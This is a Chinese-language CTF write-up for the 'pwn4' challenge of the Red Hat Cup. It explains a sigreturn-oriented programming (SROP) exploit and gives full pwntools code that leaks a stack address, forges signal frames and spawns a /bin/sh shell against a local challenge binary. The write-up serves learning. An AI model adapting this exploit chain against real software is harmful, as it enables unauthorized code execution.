上个周末的“红帽杯”结束了,战队成绩很不错,排名前几。不过有些题目是临时参考网上的思路解出来的,虽然得了分,但当时不是很理解。比赛完了把当时不太熟悉的题目回顾了一下,作为思路的总结和后续的参考。
本篇是针对pwn4的总结。
知道不知道是一种很让人满足的感觉,自己解出题目后,不由得感叹安全研究人员思路的巧妙。拿到PWN4后,在IDA中看了下:
程序非常简短,运行程序后会等待用户输入,将输入读取到栈顶,并从栈顶的位置取指令地址进行执行。
这道题目的利用技术为SROP,SROP网上已经有比较好的介绍文章了,如下:
http://www.freebuf.com/articles/network/87447.html
其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。
首先我们需要知道间接系统调用下的几个系统调用号,如下:
系统调用 |
调用号 |
函数原型 |
read |
0 |
read(int fd, void *buf, size_t count) |
write |
1 |
write(int fd, const void *buf, size_t count) |
sigreturn |
15 |
int sigreturn(...) |
execve |
59 |
execve(const char *filename, char *const argv[],char *const envp[]) |
由于我们可以控制ret后指令的地址(栈顶内容),因此我们可以将ret后的指令地址指向程序的起始位置处,达到重复多次输入的目的。
另外需要了解的知识点是,x86子程序的返回值是保存在rax中的,而在执行系统调用的时候,系统调用号也是保存在rax中的,因此我们可以利用这个特性,输入特定字节的内容,然后执行系统调用,就可以调用我们想要执行的函数了。
为了获得flag,我们最终的目的还是要建立一个shell,所以我们希望通过调用execve来执行/bin/sh,由于这个程序非常的简短,没有其他可写的位置,我们只能选择将“/bin/sh”字符串写到栈上去。
0x01 泄露栈地址
在动态调试的过程中,我们发现栈上保存了很多栈的地址:
因此如果能够将栈打印出来,我们是可以从中取到栈上的地址的,进而可以获得一个可以读写的地址。
我们可以构造一段负载,在程序读取这段负载后,可以继续接收输入,此时我们再输入1个字节,在输入结束后,执行系统调用,此时系统调用号为1,将调用write(),如果我们将write()函数的第2个参数指向栈,就可以打印栈上内容了。
因此我们实际的调用应该是write(标准输出,栈上地址,长度),对应的参数分别存放于rdi, rsi, rdx中,我们看看这三个寄存器如何赋值:
Rdi - 可以通过指令“00000000004000BB mov rdi, rax”进行赋值,此时rax恰好为1
Rsi – 可以通过指令“00000000004000B8 mov rsi, rsp”进行赋值,在read过程中已经指向栈上了
Rdx – 可以通过指令“00000000004000B3 mov edx, 400h”进行赋值,在read过程中已经赋值为400h了
因此我们在输入结束时,从00000000004000BB处开始执行,即可对rdi进行赋值,然后执行系统调用,然后返回。
我们来构造第一个输入,该输入结束后,我们期待栈的布局是这样的:
这样,在我们第一个输入结束后,程序会再次等待输入,此时我们输入1个字节后,将会开始执行syscall,此时write()将会被调用。需要注意的是,我们新的输入不能破坏栈上的内容,这个很容易做到,因为之前栈上的内容就是我们构造的。
泄露栈上地址的代码如下:
#!/usr/bin/python2 #-*- coding: utf-8 -*- from pwn import * context(os="linux", arch="amd64") p = process("./pwn4") read_ret = 0x00000000004000B0 rdi_syscall_ret = 0x00000000004000BB syscall_ret = 0x00000000004000BE #leak an address on stack payload = p64(read_ret) payload += p64(rdi_syscall_ret) payload += p64(read_ret) p.send(payload) p.send(payload[8:9]) response = p.recv(24) stackaddr = u64(response[16:24]) print "leaked stack addr:" + hex(stackaddr) p.recv() #This address is to be written stackaddr = stackaddr & 0xFFFFFFFFFFFFF000
经过这个步骤,我们得到了一个栈上可读写的地址,保存在stackaddr中,同时程序在等待我们再次输入。
0x02 将rsp指向可写地址
前面提到,在信号处理结束后,内核会从栈上取出Signal Frame,并从中恢复各个寄存器。为了使rsp指向stackaddr,我们需要在栈上构造一个Signal Frame,并且执行sigreturn系统调用。
这个Signal Frame关键的寄存器应该设置如下:
rsp = stackaddr
rip = syscall_ret
同样我们需要构造两次输入。我们希望在第一次输入后,栈的布局是这样的:
这样程序会在我们输入后,再次等待我们输入,如果我们再次输入15个字符,则输入结束后,会执行syscall来调用sigreturn,此时会从栈上恢复各寄存器的值,恢复后,rsp指向了stackaddr,rip指向了程序的起始位置,等待用户再次输入。请记住第二次输入同样不能破坏第一次输入后形成的栈布局。
此步骤代码如下:
#Trigger sigturn to repoint rsp to stackaddr frame = SigreturnFrame() frame.rsp = stackaddr frame.rip = read_ret payload = p64(read_ret) payload += p64(syscall_ret) payload += str(frame) p.send(payload) #Programe is waitting for input now, we input 15 characters to trigger sigreturn p.send(payload[8:23])
0x03 调用execve()建立shell
与第二步类似,我们希望通过sigreturn从栈上恢复Signal Frame时,将寄存器改写,从而来执行系统调用建立shell。我们同样需要两次输入,第一次输入进行栈布局,第二次输入触发sigreturn。
第一次输入后,我们希望栈的布局是这样的:
这样第一次输入后,程序会再次等待输入,此时我们输入15个字节,输入结束后,将会触发sigreturn调用,从栈上取Signal Frame恢复寄存器,我们将寄存器rax的值设置为59,rip设置为syscall_ret,将会执行execve(),该函数的参数通过rdi, rsi, rdx控制。
本步骤利用代码如下:
#Trigger sigturn to call execve("/bin/sh", NULL, NULL) frame = SigreturnFrame() frame.rax = 59 #execve frame.rdi = stackaddr + 300 frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload = p64(read_ret) payload += p64(syscall_ret) payload += str(frame) payload += "A"*(300 - len(payload)) payload += "/bin/shx00" p.send(payload) #Programe is waitting for input now, we input 15 characters to trigger sigreturn p.send(payload[8:23]) p.interactive()
0x04 完整利用代码
至此,完整利用代码已经完成。如下:
#!/usr/bin/python2 #-*- coding: utf-8 -*- from pwn import * context(os="linux", arch="amd64") p = process("./pwn4") read_ret = 0x00000000004000B0 rdi_syscall_ret = 0x00000000004000BB syscall_ret = 0x00000000004000BE #leak an address on stack payload = p64(read_ret) payload += p64(rdi_syscall_ret) payload += p64(read_ret) p.send(payload) p.send(payload[8:9]) response = p.recv(24) stackaddr = u64(response[16:24]) print "leaked stack addr:" + hex(stackaddr) p.recv() #This address is to be written stackaddr = stackaddr & 0xFFFFFFFFFFFFF000 #Trigger sigturn to repoint rsp to stackaddr frame = SigreturnFrame() frame.rsp = stackaddr frame.rip = read_ret payload = p64(read_ret) payload += p64(syscall_ret) payload += str(frame) p.send(payload) #Programe is waitting for input now, we input 15 characters to trigger sigreturn p.send(payload[8:23]) #Trigger sigturn to call execve("/bin/sh", NULL, NULL) frame = SigreturnFrame() frame.rax = 59 #execve frame.rdi = stackaddr + 300 frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload = p64(read_ret) payload += p64(syscall_ret) payload += str(frame) payload += "A"*(300 - len(payload)) payload += "/bin/shx00" p.send(payload) #Programe is waitting for input now, we input 15 characters to trigger sigreturn p.send(payload[8:23]) p.interactive()
运行结果: